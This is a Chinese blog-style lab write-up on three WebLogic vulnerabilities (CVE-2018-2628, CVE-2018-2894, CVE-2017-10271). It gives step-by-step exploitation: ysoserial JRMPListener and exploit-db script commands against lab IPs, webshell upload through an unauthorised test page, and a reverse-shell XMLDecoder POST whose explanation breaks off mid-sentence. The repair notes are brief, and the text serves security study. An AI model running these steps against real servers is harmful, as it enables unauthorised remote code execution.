标签:协议 浅谈 cmd T3 漏洞 weblogic 序列化
weblogic反序列化漏洞原理分析
weblogic是oracle公司出品的application server,用于本地和云端开发,集成,部署和大型分布式web应用,网络应用和数据库应用的Java应用服务器
weblogic server是一个基于JAVAEE架构的中间件,将java的动态功能和java Enterprise标准的安全性引入大型网络应用开发,集成,部署和管理中,提供java Enterprise Edition和jakarta EE的可靠、成熟、可扩展的实现
CVE-2018-2628(反序列化)
漏洞描述
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机。T3协议在开放WebLogic控制台端口的应用上默认开启。攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击(开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。)
远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过JRMP协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化payload的目的。
T3协议:
用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度。
RMI方法:
远程方法调用,除了该对象本身的虚拟机,其它的虚拟机也可以调用该对象的方法。(对象的虚拟化和反序列化广泛应用到RMI和网络传输中)
JRMP:
Java远程消息交换协议JRMP。
JRMP是一个Java远程方法协议,该协议基于TCP/IP之上,RMI协议之下。也就是说RMI该协议传递时底层使用的是JRMP协议,而JRMP底层则是基于TCP传递。
RMI默认使用的JRMP进行传递数据,并且JRMP协议只能作用于RMI协议。当然RMI支持的协议除了JRMP还有IIOP协议,而在Weblogic里面的T3协议其实也是基于RMI去进行实现的。
漏洞复现
扫描结果说明T3协议开启
使用扫描工具探测漏洞
存在CVE-2018-2628漏洞
启动JRMP server 利用ysoserial
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/kali.txt'
'touch /tmp/akemi.txt'为我想执行的命令,1099是JRMP Server监听的端口。
攻击脚本
https://www.exploit-db.com/exploits/44553
python 44553.py 192.168.218.152 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.218.145 1099 JRMPClient
#192.168.218.152 7001是weblogic靶机的IP和端口
#ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 是ysoserial的本地路径根据自己真实路径填写
#192.168.218.145 1099的JRMP 一端的IP地址和端口
#JRMPClien是执行JRMPClient的类
进入容器查看是否创建成功
dokcer exec -it id /bin/bash
漏洞修复
-
关闭T3服务,或临时控制T3服务访问权限
-
打官方补丁
CVE-2018-2894(任意文件上传)
漏洞描述
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。
漏洞复现
查看管理员账号密码
weblogic
GhbmnRR1
登录管理员后台 ip/console/login/LoginForm.jsp
base_domain-高级-启用web服务测试页-保存
现在访问/ws_utc/config.do(未授权访问)
修改work home dir:点击提交
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
因为ws_utc应用的静态文件css目录是无需访问权限的,而默认的工作目录即使上传成功,也无法访问。
之后就可以上传文件,点击安全-添加-上传webshell
坑:复现过程中蚁剑一直返回空值,使用冰蝎就正常反弹(很奇怪)
漏洞修复
CVE-2017-10271(XML Decoder反序列化)
漏洞描述
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令
漏洞复现
weblogic XMLDecoder反序列化漏洞的出现位置有很多路径,具体路径我们在漏洞原理部分已经给出,这里就选第一个好了
访问/wls-wsat/CoordinatorPortType
把访问这个可能触发XMLDecoder反序列化漏洞的页面的GET请求抓下来
kali监听端口
改包,将GET改为POST,加上反弹shell的恶意代码,添加Content-Type: text/xml
poc构造
这段POC的开头三行和末尾三号主要是SOAP的协议规范,SOAP是以XML形式提供了一个简单、轻量的用于在分散或分布环境中交换结构化和类型信息的机制。具体内容读者自己查查资料,这里不做阐释。我们重点关注的是中间的内容,下面我们依次介绍XML的各个标签。
<java class="java.beans.XMLDecoder">
这个标签是使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。
<object class="java.lang.ProcessBuilder">
通过
标签:协议,
浅谈,
cmd,
T3,
漏洞,
weblogic,
序列化
From: https://www.cnblogs.com/guangen/p/18204722